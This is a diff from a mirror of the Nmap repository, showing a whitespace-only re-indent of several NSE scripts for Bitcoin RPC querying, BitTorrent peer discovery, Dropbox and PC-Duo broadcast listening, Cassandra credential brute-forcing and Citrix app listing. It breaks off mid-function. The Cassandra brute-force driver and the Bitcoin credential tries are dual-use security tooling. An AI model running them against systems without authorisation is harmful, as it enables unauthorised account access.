mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Re-indent some scripts. Whitespace-only commit
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -42,50 +42,50 @@ portrule = shortport.portnumber(8332)
|
||||
-- JSON-RPC helpers
|
||||
|
||||
local function request(method, params, id)
|
||||
json.make_array(params)
|
||||
local req = {method = method, params = params, id = id}
|
||||
local serial = json.generate(req)
|
||||
return serial
|
||||
json.make_array(params)
|
||||
local req = {method = method, params = params, id = id}
|
||||
local serial = json.generate(req)
|
||||
return serial
|
||||
end
|
||||
|
||||
local function response(serial)
|
||||
local _, response = json.parse(serial)
|
||||
local result = response["result"]
|
||||
return result
|
||||
local _, response = json.parse(serial)
|
||||
local result = response["result"]
|
||||
return result
|
||||
end
|
||||
|
||||
local ServiceProxy = {}
|
||||
function ServiceProxy:new(host, port, path, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.path = path
|
||||
self.options = options
|
||||
self.__index = function(_, method)
|
||||
return function(...)
|
||||
return self:call(method, table.pack(...))
|
||||
end
|
||||
end
|
||||
return o
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.path = path
|
||||
self.options = options
|
||||
self.__index = function(_, method)
|
||||
return function(...)
|
||||
return self:call(method, table.pack(...))
|
||||
end
|
||||
end
|
||||
return o
|
||||
end
|
||||
|
||||
function ServiceProxy:remote(req)
|
||||
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
|
||||
if httpdata.status == 200 then
|
||||
return httpdata.body
|
||||
end
|
||||
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
|
||||
if httpdata.status == 200 then
|
||||
return httpdata.body
|
||||
end
|
||||
end
|
||||
|
||||
function ServiceProxy:call(method, args)
|
||||
local FIRST = 1
|
||||
local req = request(method, args, FIRST)
|
||||
local ret = self:remote(req)
|
||||
if not ret then
|
||||
return
|
||||
end
|
||||
local result = response(ret)
|
||||
return result
|
||||
local FIRST = 1
|
||||
local req = request(method, args, FIRST)
|
||||
local ret = self:remote(req)
|
||||
if not ret then
|
||||
return
|
||||
end
|
||||
local result = response(ret)
|
||||
return result
|
||||
end
|
||||
|
||||
-- Convert an integer into a broken-down version number.
|
||||
@@ -98,52 +98,52 @@ end
|
||||
-- 31900 -> 0.3.19
|
||||
-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
|
||||
local function decode_bitcoin_version(n)
|
||||
if n < 31300 then
|
||||
local minor, micro = n / 100, n % 100
|
||||
return string.format("0.%d.%d", minor, micro)
|
||||
else
|
||||
local minor, micro = n / 10000, (n / 100) % 100
|
||||
return string.format("0.%d.%d", minor, micro)
|
||||
end
|
||||
if n < 31300 then
|
||||
local minor, micro = n / 100, n % 100
|
||||
return string.format("0.%d.%d", minor, micro)
|
||||
else
|
||||
local minor, micro = n / 10000, (n / 100) % 100
|
||||
return string.format("0.%d.%d", minor, micro)
|
||||
end
|
||||
end
|
||||
|
||||
local function formatpairs(info)
|
||||
local result = {}
|
||||
for k, v in pairs(info) do
|
||||
if v ~= "" then
|
||||
local line = k .. ": " .. tostring(v)
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
for k, v in pairs(info) do
|
||||
if v ~= "" then
|
||||
local line = k .. ": " .. tostring(v)
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
local function getinfo(host, port, user, pass)
|
||||
local auth = {username = user, password = pass}
|
||||
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
|
||||
return bitcoind.getinfo()
|
||||
local auth = {username = user, password = pass}
|
||||
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
|
||||
return bitcoind.getinfo()
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local response = {}
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local states = creds.State.VALID + creds.State.PARAM
|
||||
for cred in c:getCredentials(states) do
|
||||
local info = getinfo(host, port, cred.user, cred.pass)
|
||||
if info then
|
||||
local result = formatpairs(info)
|
||||
result["name"] = "USER: " .. cred.user
|
||||
table.insert(response, result)
|
||||
local response = {}
|
||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||
local states = creds.State.VALID + creds.State.PARAM
|
||||
for cred in c:getCredentials(states) do
|
||||
local info = getinfo(host, port, cred.user, cred.pass)
|
||||
if info then
|
||||
local result = formatpairs(info)
|
||||
result["name"] = "USER: " .. cred.user
|
||||
table.insert(response, result)
|
||||
|
||||
port.version.name = "http"
|
||||
port.version.product = "Bitcoin JSON-RPC"
|
||||
if info.version then
|
||||
port.version.version = decode_bitcoin_version(info.version)
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
end
|
||||
port.version.name = "http"
|
||||
port.version.product = "Bitcoin JSON-RPC"
|
||||
if info.version then
|
||||
port.version.version = decode_bitcoin_version(info.version)
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, response)
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
@@ -48,88 +48,88 @@ categories = {"discovery","safe"}
|
||||
|
||||
|
||||
prerule = function()
|
||||
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
|
||||
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
|
||||
stdnse.print_debug(3,
|
||||
"Skipping '%s' %s, No magnet link or torrent file arguments.",
|
||||
SCRIPT_NAME, SCRIPT_TYPE)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
|
||||
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
|
||||
stdnse.print_debug(3,
|
||||
"Skipping '%s' %s, No magnet link or torrent file arguments.",
|
||||
SCRIPT_NAME, SCRIPT_TYPE)
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
action = function()
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
|
||||
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
|
||||
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
|
||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
|
||||
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
|
||||
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
|
||||
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
|
||||
|
||||
local t = bittorrent.Torrent:new()
|
||||
if filename then
|
||||
t:load_from_file(filename)
|
||||
elseif magnet then
|
||||
t:load_from_magnet(magnet)
|
||||
end
|
||||
t:trackers_peers()
|
||||
t:dht_peers(timeout)
|
||||
local t = bittorrent.Torrent:new()
|
||||
if filename then
|
||||
t:load_from_file(filename)
|
||||
elseif magnet then
|
||||
t:load_from_magnet(magnet)
|
||||
end
|
||||
t:trackers_peers()
|
||||
t:dht_peers(timeout)
|
||||
|
||||
local output = {}
|
||||
local peers = {}
|
||||
peers.name = "Peers:"
|
||||
local nodes = {}
|
||||
nodes.name = "Nodes:"
|
||||
local output = {}
|
||||
local peers = {}
|
||||
peers.name = "Peers:"
|
||||
local nodes = {}
|
||||
nodes.name = "Nodes:"
|
||||
|
||||
-- add peers
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
for peer_ip in pairs(t.peers) do
|
||||
target.add(peer_ip)
|
||||
table.insert(peers, peer_ip)
|
||||
end
|
||||
if #peers>0 then
|
||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||
end
|
||||
else
|
||||
for peer_ip in pairs(t.peers) do
|
||||
table.insert(peers, peer_ip)
|
||||
end
|
||||
if #peers>0 then
|
||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||
end
|
||||
end
|
||||
-- add peers
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
for peer_ip in pairs(t.peers) do
|
||||
target.add(peer_ip)
|
||||
table.insert(peers, peer_ip)
|
||||
end
|
||||
if #peers>0 then
|
||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||
end
|
||||
else
|
||||
for peer_ip in pairs(t.peers) do
|
||||
table.insert(peers, peer_ip)
|
||||
end
|
||||
if #peers>0 then
|
||||
table.insert(peers, "Total of "..#peers.." peers discovered")
|
||||
end
|
||||
end
|
||||
|
||||
-- add nodes
|
||||
if target.ALLOW_NEW_TARGETS and include_nodes then
|
||||
for node_ip in pairs(t.nodes) do
|
||||
target.add(node_ip)
|
||||
table.insert(nodes, node_ip)
|
||||
end
|
||||
if #nodes >0 then
|
||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||
end
|
||||
elseif include_nodes then
|
||||
for node_ip in pairs(t.nodes) do
|
||||
table.insert(nodes, node_ip)
|
||||
end
|
||||
if #nodes >0 then
|
||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||
end
|
||||
end
|
||||
-- add nodes
|
||||
if target.ALLOW_NEW_TARGETS and include_nodes then
|
||||
for node_ip in pairs(t.nodes) do
|
||||
target.add(node_ip)
|
||||
table.insert(nodes, node_ip)
|
||||
end
|
||||
if #nodes >0 then
|
||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||
end
|
||||
elseif include_nodes then
|
||||
for node_ip in pairs(t.nodes) do
|
||||
table.insert(nodes, node_ip)
|
||||
end
|
||||
if #nodes >0 then
|
||||
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
|
||||
end
|
||||
end
|
||||
|
||||
local print_out = false
|
||||
local print_out = false
|
||||
|
||||
if #peers > 0 then
|
||||
table.insert(output, peers)
|
||||
print_out = true
|
||||
end
|
||||
if #peers > 0 then
|
||||
table.insert(output, peers)
|
||||
print_out = true
|
||||
end
|
||||
|
||||
if include_nodes and #nodes > 0 then
|
||||
table.insert(output, nodes)
|
||||
print_out = true
|
||||
end
|
||||
if include_nodes and #nodes > 0 then
|
||||
table.insert(output, nodes)
|
||||
print_out = true
|
||||
end
|
||||
|
||||
if print_out and not target.ALLOW_NEW_TARGETS then
|
||||
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
if print_out and not target.ALLOW_NEW_TARGETS then
|
||||
table.insert(output,"Use the newtargets script-arg to add the results as targets")
|
||||
end
|
||||
|
||||
return stdnse.format_output( print_out , output)
|
||||
return stdnse.format_output( print_out , output)
|
||||
end
|
||||
|
||||
@@ -41,95 +41,95 @@ local DROPBOX_BROADCAST_PERIOD = 20
|
||||
local DROPBOX_PORT = 17500
|
||||
|
||||
prerule = function()
|
||||
return true
|
||||
return true
|
||||
end
|
||||
|
||||
action = function()
|
||||
-- Start listening for broadcasts.
|
||||
local sock = nmap.new_socket("udp")
|
||||
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
|
||||
local status, result = sock:bind(nil, DROPBOX_PORT)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
-- Start listening for broadcasts.
|
||||
local sock = nmap.new_socket("udp")
|
||||
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
|
||||
local status, result = sock:bind(nil, DROPBOX_PORT)
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
|
||||
sock:close()
|
||||
return
|
||||
end
|
||||
|
||||
-- Keep track of the IDs we've already seen.
|
||||
local ids = {}
|
||||
-- Keep track of the IDs we've already seen.
|
||||
local ids = {}
|
||||
|
||||
-- Initialize the output table.
|
||||
local results = tab.new(6)
|
||||
tab.addrow(
|
||||
results,
|
||||
'displayname',
|
||||
'ip',
|
||||
'port',
|
||||
'version',
|
||||
'host_int',
|
||||
'namespaces'
|
||||
)
|
||||
-- Initialize the output table.
|
||||
local results = tab.new(6)
|
||||
tab.addrow(
|
||||
results,
|
||||
'displayname',
|
||||
'ip',
|
||||
'port',
|
||||
'version',
|
||||
'host_int',
|
||||
'namespaces'
|
||||
)
|
||||
|
||||
local status, result = sock:receive()
|
||||
while status do
|
||||
-- Parse JSON.
|
||||
local status, info = json.parse(result)
|
||||
if status then
|
||||
-- Get IP address of broadcasting host.
|
||||
local status, _, _, ip, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to get socket info.")
|
||||
break
|
||||
end
|
||||
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
|
||||
local status, result = sock:receive()
|
||||
while status do
|
||||
-- Parse JSON.
|
||||
local status, info = json.parse(result)
|
||||
if status then
|
||||
-- Get IP address of broadcasting host.
|
||||
local status, _, _, ip, _ = sock:get_info()
|
||||
if not status then
|
||||
stdnse.print_debug(1, "Failed to get socket info.")
|
||||
break
|
||||
end
|
||||
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
|
||||
|
||||
-- Check if we've already seen this ID.
|
||||
if ids[info.host_int] then
|
||||
-- We can stop now, since we've seen the same ID twice
|
||||
-- If ever a host sends a broadcast twice in a row, this will
|
||||
-- artificially stop the listener. I can't think of a workaround
|
||||
-- for now, so this will have to do.
|
||||
break
|
||||
end
|
||||
ids[info.host_int] = true
|
||||
-- Check if we've already seen this ID.
|
||||
if ids[info.host_int] then
|
||||
-- We can stop now, since we've seen the same ID twice
|
||||
-- If ever a host sends a broadcast twice in a row, this will
|
||||
-- artificially stop the listener. I can't think of a workaround
|
||||
-- for now, so this will have to do.
|
||||
break
|
||||
end
|
||||
ids[info.host_int] = true
|
||||
|
||||
-- Add host scan list.
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(ip)
|
||||
end
|
||||
-- Add host scan list.
|
||||
if target.ALLOW_NEW_TARGETS then
|
||||
target.add(ip)
|
||||
end
|
||||
|
||||
-- Add host to list.
|
||||
for _, key1 in pairs({"namespaces", "version"}) do
|
||||
for key2, val in pairs(info[key1]) do
|
||||
info[key1][key2] = tostring(info[key1][key2])
|
||||
end
|
||||
end
|
||||
tab.addrow(
|
||||
results,
|
||||
info.displayname,
|
||||
ip,
|
||||
info.port,
|
||||
stdnse.strjoin(".", info.version),
|
||||
info.host_int,
|
||||
stdnse.strjoin(", ", info.namespaces)
|
||||
)
|
||||
-- Add host to list.
|
||||
for _, key1 in pairs({"namespaces", "version"}) do
|
||||
for key2, val in pairs(info[key1]) do
|
||||
info[key1][key2] = tostring(info[key1][key2])
|
||||
end
|
||||
end
|
||||
tab.addrow(
|
||||
results,
|
||||
info.displayname,
|
||||
ip,
|
||||
info.port,
|
||||
stdnse.strjoin(".", info.version),
|
||||
info.host_int,
|
||||
stdnse.strjoin(", ", info.namespaces)
|
||||
)
|
||||
|
||||
stdnse.print_debug(1, "Added host %s.", info.displayname)
|
||||
end
|
||||
stdnse.print_debug(1, "Added host %s.", info.displayname)
|
||||
end
|
||||
|
||||
status, result = sock:receive()
|
||||
end
|
||||
status, result = sock:receive()
|
||||
end
|
||||
|
||||
sock:close()
|
||||
sock:close()
|
||||
|
||||
-- If no broadcasts received, don't output anything.
|
||||
if not next(ids) then
|
||||
return
|
||||
end
|
||||
-- If no broadcasts received, don't output anything.
|
||||
if not next(ids) then
|
||||
return
|
||||
end
|
||||
|
||||
-- Format table, without trailing newline.
|
||||
results = tab.dump(results)
|
||||
results = results:sub(1, #results - 1)
|
||||
-- Format table, without trailing newline.
|
||||
results = tab.dump(results)
|
||||
results = results:sub(1, #results - 1)
|
||||
|
||||
return "\n" .. results
|
||||
return "\n" .. results
|
||||
end
|
||||
|
||||
@@ -37,97 +37,97 @@ prerule = function() return ( nmap.address_family() == "inet") end
|
||||
-- @param responses table containing the responses
|
||||
local function udpProbe(probe, responses)
|
||||
|
||||
local condvar = nmap.condvar(responses)
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(500)
|
||||
local condvar = nmap.condvar(responses)
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(500)
|
||||
|
||||
for i=1,2 do
|
||||
local status = socket:sendto(probe.host, probe.port, probe.data)
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to send broadcast request"
|
||||
end
|
||||
end
|
||||
for i=1,2 do
|
||||
local status = socket:sendto(probe.host, probe.port, probe.data)
|
||||
if ( not(status) ) then
|
||||
return "\n ERROR: Failed to send broadcast request"
|
||||
end
|
||||
end
|
||||
|
||||
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
local stime = os.time()
|
||||
local hosts = {}
|
||||
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
local stime = os.time()
|
||||
local hosts = {}
|
||||
|
||||
repeat
|
||||
local status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local srvname = data:match(probe.match)
|
||||
if ( srvname ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
return false, "Failed to get socket information"
|
||||
end
|
||||
-- avoid duplicates
|
||||
hosts[rhost] = srvname
|
||||
end
|
||||
end
|
||||
until( os.time() - stime > timeout )
|
||||
socket:close()
|
||||
repeat
|
||||
local status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local srvname = data:match(probe.match)
|
||||
if ( srvname ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
return false, "Failed to get socket information"
|
||||
end
|
||||
-- avoid duplicates
|
||||
hosts[rhost] = srvname
|
||||
end
|
||||
end
|
||||
until( os.time() - stime > timeout )
|
||||
socket:close()
|
||||
|
||||
local result = {}
|
||||
for ip, name in pairs(hosts) do
|
||||
table.insert(result, ("%s - %s"):format(ip,name))
|
||||
end
|
||||
local result = {}
|
||||
for ip, name in pairs(hosts) do
|
||||
table.insert(result, ("%s - %s"):format(ip,name))
|
||||
end
|
||||
|
||||
if ( #result > 0 ) then
|
||||
result.name = probe.topic
|
||||
table.insert(responses, result)
|
||||
end
|
||||
if ( #result > 0 ) then
|
||||
result.name = probe.topic
|
||||
table.insert(responses, result)
|
||||
end
|
||||
|
||||
condvar "signal"
|
||||
condvar "signal"
|
||||
end
|
||||
|
||||
action = function()
|
||||
|
||||
-- PC-Duo UDP probes
|
||||
local probes = {
|
||||
-- PC-Duo Host probe
|
||||
{
|
||||
host = { ip = "255.255.255.255" },
|
||||
port = { number = 1505, protocol = "udp" },
|
||||
data = bin.pack("H", "00808008ff00"),
|
||||
match= "^.........(%w*)\0",
|
||||
topic= "PC-Duo Hosts"
|
||||
},
|
||||
-- PC-Duo Gateway Server probe
|
||||
{
|
||||
host = { ip = "255.255.255.255" },
|
||||
port = { number = 2303, protocol = "udp" },
|
||||
data = bin.pack("H", "20908008ff00"),
|
||||
match= "^.........(%w*)\0",
|
||||
topic= "PC-Duo Gateway Server"
|
||||
},
|
||||
}
|
||||
-- PC-Duo UDP probes
|
||||
local probes = {
|
||||
-- PC-Duo Host probe
|
||||
{
|
||||
host = { ip = "255.255.255.255" },
|
||||
port = { number = 1505, protocol = "udp" },
|
||||
data = bin.pack("H", "00808008ff00"),
|
||||
match= "^.........(%w*)\0",
|
||||
topic= "PC-Duo Hosts"
|
||||
},
|
||||
-- PC-Duo Gateway Server probe
|
||||
{
|
||||
host = { ip = "255.255.255.255" },
|
||||
port = { number = 2303, protocol = "udp" },
|
||||
data = bin.pack("H", "20908008ff00"),
|
||||
match= "^.........(%w*)\0",
|
||||
topic= "PC-Duo Gateway Server"
|
||||
},
|
||||
}
|
||||
|
||||
local threads, responses = {}, {}
|
||||
local condvar = nmap.condvar(responses)
|
||||
local threads, responses = {}, {}
|
||||
local condvar = nmap.condvar(responses)
|
||||
|
||||
-- start a thread for each probe
|
||||
for _, p in ipairs(probes) do
|
||||
local th = stdnse.new_thread( udpProbe, p, responses )
|
||||
threads[th] = true
|
||||
end
|
||||
-- start a thread for each probe
|
||||
for _, p in ipairs(probes) do
|
||||
local th = stdnse.new_thread( udpProbe, p, responses )
|
||||
threads[th] = true
|
||||
end
|
||||
|
||||
-- wait until the probes are all done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
threads[thread] = nil
|
||||
end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
-- wait until the probes are all done
|
||||
repeat
|
||||
for thread in pairs(threads) do
|
||||
if coroutine.status(thread) == "dead" then
|
||||
threads[thread] = nil
|
||||
end
|
||||
end
|
||||
if ( next(threads) ) then
|
||||
condvar "wait"
|
||||
end
|
||||
until next(threads) == nil
|
||||
|
||||
table.sort(responses, function(a,b) return a.name < b.name end)
|
||||
-- did we get any responses
|
||||
if ( #responses > 0 ) then
|
||||
return stdnse.format_output(true, responses)
|
||||
end
|
||||
table.sort(responses, function(a,b) return a.name < b.name end)
|
||||
-- did we get any responses
|
||||
if ( #responses > 0 ) then
|
||||
return stdnse.format_output(true, responses)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -36,98 +36,98 @@ portrule = shortport.port_or_service({9160}, {"cassandra"})
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, socket = nmap.new_socket() }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, socket = nmap.new_socket() }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
connect = function(self)
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
|
||||
-- bit faster login function than in cassandra library (no protocol error checks)
|
||||
login = function(self, username, password)
|
||||
local response, magic, size, _
|
||||
local loginstr = cassandra.loginstr (username, password)
|
||||
-- bit faster login function than in cassandra library (no protocol error checks)
|
||||
login = function(self, username, password)
|
||||
local response, magic, size, _
|
||||
local loginstr = cassandra.loginstr (username, password)
|
||||
|
||||
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
|
||||
local combo = username..":"..password
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't send length:"..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
|
||||
local combo = username..":"..password
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't send length:"..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, err = self.socket:send(loginstr)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't send login packet: "..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status, err = self.socket:send(loginstr)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't send login packet: "..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status, response = self.socket:receive_bytes(22)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
status, response = self.socket:receive_bytes(22)
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
|
||||
err:setAbort( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
_, size = bin.unpack(">I", response, 1)
|
||||
_, size = bin.unpack(">I", response, 1)
|
||||
|
||||
magic = string.sub(response,18,22)
|
||||
magic = string.sub(response,18,22)
|
||||
|
||||
if (magic == cassandra.LOGINSUCC) then
|
||||
stdnse.print_debug(3, "Account SUCCESS: "..combo)
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
elseif (magic == cassandra.LOGINFAIL) then
|
||||
stdnse.print_debug(3,"Account FAIL: "..combo)
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif (magic == cassandra.LOGINACC) then
|
||||
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
|
||||
return false, brute.Error:new( "Good user, bad password" )
|
||||
else
|
||||
stdnse.print_debug(3, "Unrecognized packet for "..combo)
|
||||
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
|
||||
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
|
||||
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
end,
|
||||
if (magic == cassandra.LOGINSUCC) then
|
||||
stdnse.print_debug(3, "Account SUCCESS: "..combo)
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
elseif (magic == cassandra.LOGINFAIL) then
|
||||
stdnse.print_debug(3,"Account FAIL: "..combo)
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif (magic == cassandra.LOGINACC) then
|
||||
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
|
||||
return false, brute.Error:new( "Good user, bad password" )
|
||||
else
|
||||
stdnse.print_debug(3, "Unrecognized packet for "..combo)
|
||||
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
|
||||
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
|
||||
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
local function noAuth(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local status, result = socket:connect(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local status, result = socket:connect(host, port)
|
||||
|
||||
local stat,err = cassandra.login (socket,"default","")
|
||||
socket:close()
|
||||
if (stat) then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
local stat,err = cassandra.login (socket,"default","")
|
||||
socket:close()
|
||||
if (stat) then
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
if ( noAuth(host, port) ) then
|
||||
return "Any username and password would do, 'default' was used to test."
|
||||
end
|
||||
if ( noAuth(host, port) ) then
|
||||
return "Any username and password would do, 'default' was used to test."
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
local status, result = engine:start()
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
local status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -76,75 +76,75 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
|
||||
-- @return table suitable for stdnse.format_output
|
||||
function format_output(appdata, mode)
|
||||
|
||||
local result = {}
|
||||
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
|
||||
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
|
||||
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
|
||||
local result = {}
|
||||
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
|
||||
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
|
||||
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
|
||||
|
||||
|
||||
if mode == "short" then
|
||||
for app_name, AppData in ipairs(appdata) do
|
||||
local line = "Application: " .. AppData.FName
|
||||
if mode == "short" then
|
||||
for app_name, AppData in ipairs(appdata) do
|
||||
local line = "Application: " .. AppData.FName
|
||||
|
||||
if AppData.AccessList then
|
||||
if AppData.AccessList then
|
||||
|
||||
if AppData.AccessList.User then
|
||||
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
|
||||
end
|
||||
if AppData.AccessList.User then
|
||||
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
|
||||
end
|
||||
|
||||
if AppData.AccessList.Group then
|
||||
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
|
||||
end
|
||||
if AppData.AccessList.Group then
|
||||
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
|
||||
end
|
||||
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
table.insert(result, line)
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
else
|
||||
|
||||
for app_name, AppData in ipairs(appdata) do
|
||||
local result_part = {}
|
||||
for app_name, AppData in ipairs(appdata) do
|
||||
local result_part = {}
|
||||
|
||||
result_part.name = "Application: " .. AppData.FName
|
||||
result_part.name = "Application: " .. AppData.FName
|
||||
|
||||
local settings = AppData.Settings
|
||||
local settings = AppData.Settings
|
||||
|
||||
for _, setting_pairs in ipairs(setting_titles) do
|
||||
for setting_key, setting_title in pairs(setting_pairs) do
|
||||
